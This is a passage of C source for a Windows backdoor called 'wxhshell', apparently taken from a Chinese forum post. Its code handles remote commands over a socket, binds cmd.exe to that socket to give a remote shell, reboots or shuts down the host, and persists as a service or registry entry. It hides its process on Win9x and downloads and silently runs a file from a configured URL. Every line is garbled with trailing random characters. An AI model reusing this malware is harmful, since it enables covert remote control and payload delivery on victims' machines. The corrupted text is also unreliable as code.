  LXe'{W+bk  
  // 帮助 zb9vUxN [  
  case '?': { m1p% ,  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); el^<M,7!  
    break; t!ZFpMv]n  
  } q<fj1t1w  
  // 安装 p7*7V.>X  
  case 'i': { =Y3d~~  
    if(Install()) ,*p(q/kJh~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !<-+}X+o8$  
    else x||b :2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {#{nU NW  
    break; % e70*;  
    } $i `@0+:  
  // 卸载 2[Qzx%Vp  
  case 'r': { "bjbJC&T  
    if(Uninstall()) 6~k qU4lL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P_@ty~u  
    else M?$tHA~OX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 52 DSKL  
    break; .9!&x0;  
    } /hyCR___  
  // 显示 wxhshell 所在路径 Ga *  
  case 'p': { URTJA<r8D  
    char svExeFile[MAX_PATH]; 61TL]S8  
    strcpy(svExeFile,"\n\r"); S7hfwu&7F  
      strcat(svExeFile,ExeFile); ! }awlv;  
        send(wsh,svExeFile,strlen(svExeFile),0); Rn whkb&&  
    break; y+VR D  
    } k#@)gL  
  // 重启 %bnjK#o"Q  
  case 'b': { ;u%4K$   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3'`X_C|d53  
    if(Boot(REBOOT)) `,wX&@sN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l %xeM !}  
    else { klj.\wg/p{  
    closesocket(wsh); Au?(_*/0  
    ExitThread(0); Yr:$)ap  
    } *-_joAWTG  
    break; #+3I$ k  
    } ?Vr~~v"fg8  
  // 关机 ]"1\z>Hg  
  case 'd': { 7.v{=UP  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3dI(gm6  
    if(Boot(SHUTDOWN))  PuU<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z~7}  
    else { xWty2/!h  
    closesocket(wsh); 0h2MmI#  
    ExitThread(0); [WunA,IuR  
    } <=~'Pd-f(  
    break; 5z:/d`P[  
    } z:W1(/W~  
  // 获取shell ~leLQsZ  
  case 's': { =0mGfT c  
    CmdShell(wsh); o Bp.|8-  
    closesocket(wsh); 5s2/YG=  
    ExitThread(0); >5]w\^QN9_  
    break; " []J[!}x  
  } L2y{\<JC"  
  // 退出 |.U- yyz  
  case 'x': { ,%]s:vk[u  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); P~*v}A  
    CloseIt(wsh); <Xj ,>2m;  
    break; AqP\g k  
    } l_*:StyR+  
  // 离开 X`n*M]  
  case 'q': { g.O? 1bebe  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); v&ZI<Xt+  
    closesocket(wsh); 9!6yo  
    WSACleanup(); @sb00ad2q  
    exit(1); /B9jmvj`  
    break; bk-aj'>+  
        } u&Dd9kMz  
  } iJK rNRj  
  } 4K*DEVS  
]z/  
  // 提示信息 'Xzi$}E D  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qS+Ilg  
} S1n 'r}z8  
  } Y~bGgd]T  
su]ywVoRT  
  return; (wsvj61  
} mkmVDRK  
Kx[z7]1@  
// shell模块句柄 -[`FNTTV C  
int CmdShell(SOCKET sock) Aonq;} V e  
{ Th//uI+  
STARTUPINFO si; }tZA7),L  
ZeroMemory(&si,sizeof(si)); >pl*2M&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; oE4hGt5x{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7dU7cc  
PROCESS_INFORMATION ProcessInfo; /2!"_?<L  
char cmdline[]="cmd"; :WnXoL  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); y7s.6i}7  
  return 0; Y:="vWWG  
} V/-~L]G  
(gv ~Vq  
// 自身启动模式 D+  **o  
int StartFromService(void) pBu~($%d  
{ DV~1gr,\  
typedef struct eDSBs3k7H  
{ Jid:$T>  
  DWORD ExitStatus; 5{|\h}  
  DWORD PebBaseAddress; $pGk%8l%  
  DWORD AffinityMask; wen6"  
  DWORD BasePriority; {n%U2LVL  
  ULONG UniqueProcessId; $yb8..+  
  ULONG InheritedFromUniqueProcessId; Q-N.23\1  
}   PROCESS_BASIC_INFORMATION; KhV; />(  
(Dl68]FX  
PROCNTQSIP NtQueryInformationProcess; y0' "  
w8g36v*+(u  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  0-+`{j  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Vkb&' rXw+  
^i^S1h"  
  HANDLE             hProcess; j{'@g[HW  
  PROCESS_BASIC_INFORMATION pbi; gB@Wv9 1  
.tb~f@xL  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ARu^hz=  
  if(NULL == hInst ) return 0; 5+O#5" v_  
4[&6yHJ^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); " ,rA  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); u$[T8UqF  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); P5P<-T{-c  
n1W}h@>8  
  if (!NtQueryInformationProcess) return 0; :r/rByd'  
*lG$B@;rc|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); y!^RL,HIL  
  if(!hProcess) return 0; /(nA)V( :  
 U\~[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  OkO"t  
9aC>gye!  
  CloseHandle(hProcess); c(AjM9s  
&4DV]9+g  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); h OboM3_  
if(hProcess==NULL) return 0; qwaw\vOA  
4p~:(U[q  
HMODULE hMod; LVLh&9  
char procName[255]; j{P,(-  
unsigned long cbNeeded; :7!/FBd  
8LwbOR"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9H3#8T] ;  
sEvJ!$Tt?I  
  CloseHandle(hProcess); }%R6Su]y  
xt"/e-h }  
if(strstr(procName,"services")) return 1; // 以服务启动 ^j=_=Km]  
r/O(EW#=8  
  return 0; // 注册表启动 .[Sv|;x"E  
} 9AL\6 @<a*  
a}c(#ZLs  
// 主模块 1 )j%]zd2  
int StartWxhshell(LPSTR lpCmdLine) Z?hBn`.  
{ }RUC#aW1  
  SOCKET wsl; 6]gs{zG  
BOOL val=TRUE; `u-VGd\  
  int port=0; J= |[G'  
  struct sockaddr_in door;  "rjJ"u 1  
c/2OR#$t  
  if(wscfg.ws_autoins) Install(); =C\S6bF%  
km<~H w>Z  
port=atoi(lpCmdLine); Wu Gm~<NS  
#G{T(0<F  
if(port<=0) port=wscfg.ws_port; 6U+#ADo  
G%kXr$?W  
  WSADATA data; ?0;b}Xl-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ohM'Fx"q  
;. :UfW  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @,aL'2G  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $~~=SOd0  
  door.sin_family = AF_INET; 3.d=1|E  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); d=4MqX r  
  door.sin_port = htons(port); d$2{_6  
"| Q&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (%fGS.TR  
closesocket(wsl); vP~F+z @g  
return 1; " ^eq5?L  
} nC&rQQFF  
@xkM|N?  
  if(listen(wsl,2) == INVALID_SOCKET) { _mkI;<d]$T  
closesocket(wsl); 6 3u'-Z"4  
return 1; )sS< %Xf  
} O: BP35z_F  
  Wxhshell(wsl); $0W0+A$  
  WSACleanup(); ;Ok11wOw  
?<LG(WY  
return 0; n'h )(^  
w\2[dd  
} r 2H'r ,N  
}> 1h+O  
// 以NT服务方式启动 wFd*6%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -=sxbs.aA  
{ \A~  '&  
DWORD   status = 0; ~V|!\CB  
  DWORD   specificError = 0xfffffff; "4?hK  
!eTS PM  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +`4}bc ,G  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; b{dzbmak  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; OVh/t# On  
  serviceStatus.dwWin32ExitCode     = 0; Uq+ _#{2(  
  serviceStatus.dwServiceSpecificExitCode = 0; ]Ns&`Yn{  
  serviceStatus.dwCheckPoint       = 0; Vut.oB$ ~  
  serviceStatus.dwWaitHint       = 0; R{rV1j#@!a  
a "1$z`ln  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); s]&y\Z  
  if (hServiceStatusHandle==0) return; %!$-N!e  
+|8Lt[^ux  
status = GetLastError(); E8dp  
  if (status!=NO_ERROR) 4*,q 1yK  
{ Sd\@Q% }o\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; h1gb&?w5P  
    serviceStatus.dwCheckPoint       = 0; yR$_$N+E  
    serviceStatus.dwWaitHint       = 0; ( gFA? aD<  
    serviceStatus.dwWin32ExitCode     = status; &sNID4FR  
    serviceStatus.dwServiceSpecificExitCode = specificError; aw4+1.xy  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); T8(wzs  
    return; ^+wzm2i  
  } -$kJERvy  
h9-Ky@X`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; y^Jv?`jw  
  serviceStatus.dwCheckPoint       = 0; j bGH3 L  
  serviceStatus.dwWaitHint       = 0; V$_0VN'+Z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Uy1xNb/d  
} D vKM>P%|  
3"hR:'ts  
// 处理NT服务事件,比如:启动、停止 2~U+PyeNz  
VOID WINAPI NTServiceHandler(DWORD fdwControl) WuQYEbap  
{ Jqj6L993e  
switch(fdwControl) :V2 Q n-N  
{ 4Qo1f5 >N  
case SERVICE_CONTROL_STOP: B<&_lG0sS  
  serviceStatus.dwWin32ExitCode = 0; ,+BgY4OY  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; I7_D $a=  
  serviceStatus.dwCheckPoint   = 0; \xZBu"  
  serviceStatus.dwWaitHint     = 0; oQXkMKZ  
  { 16Y~5JAc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); MdjLAD)f+C  
  } Os!22 O  
  return; ;$E[u)l  
case SERVICE_CONTROL_PAUSE: M(E_5@?3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *Kkw,qp/  
  break; 'nS3o.}  
case SERVICE_CONTROL_CONTINUE: 6V?RES;X  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; XOwMT,=Z)  
  break; "poTM[]tZ7  
case SERVICE_CONTROL_INTERROGATE: =4 H K  
  break; &NQR*Tn  
}; eM"mP&TTL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sN}@b8o@  
} t>sX.=\$  
Lp WEu^j  
// 标准应用程序主函数 L# 1vf  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ko>_@]Jb  
{ _fCHj$I*]  
6)$ N[FNs  
// 获取操作系统版本 9tEKA|8  
OsIsNt=GetOsVer(); n1>nnH]G  
GetModuleFileName(NULL,ExeFile,MAX_PATH); K@~#Gdnl  
}x1IFTa!  
  // 从命令行安装 /xbZC{R  
  if(strpbrk(lpCmdLine,"iI")) Install(); Z+W&C@Uw  
^ks^9*'|j  
  // 下载执行文件 =ol][)Bd  
if(wscfg.ws_downexe) { F s\P/YX  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) cB}2(`z9 B  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,O)\,tg  
} ZcRm5Du~:  
3/=QZ8HA&-  
if(!OsIsNt) { jFT V\|C  
// 如果时win9x,隐藏进程并且设置为注册表启动 26VdRy{[  
HideProc(); kw:D~E (  
StartWxhshell(lpCmdLine); j/pQSlV  
} Le JlTWotC  
else f{c[_OR  
  if(StartFromService()) kte.E%.PE  
  // 以服务方式启动 C+?s~JL  
  StartServiceCtrlDispatcher(DispatchTable); 7 aD&\?  
else \X.=3lc&  
  // 普通方式启动 'sBXH EZA]  
  StartWxhshell(lpCmdLine); 'm5(MC,  
7B!Qq/E?g  
return 0; s)8M? |[`I  
}
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只看该作者 1 发表于: 2006-10-10
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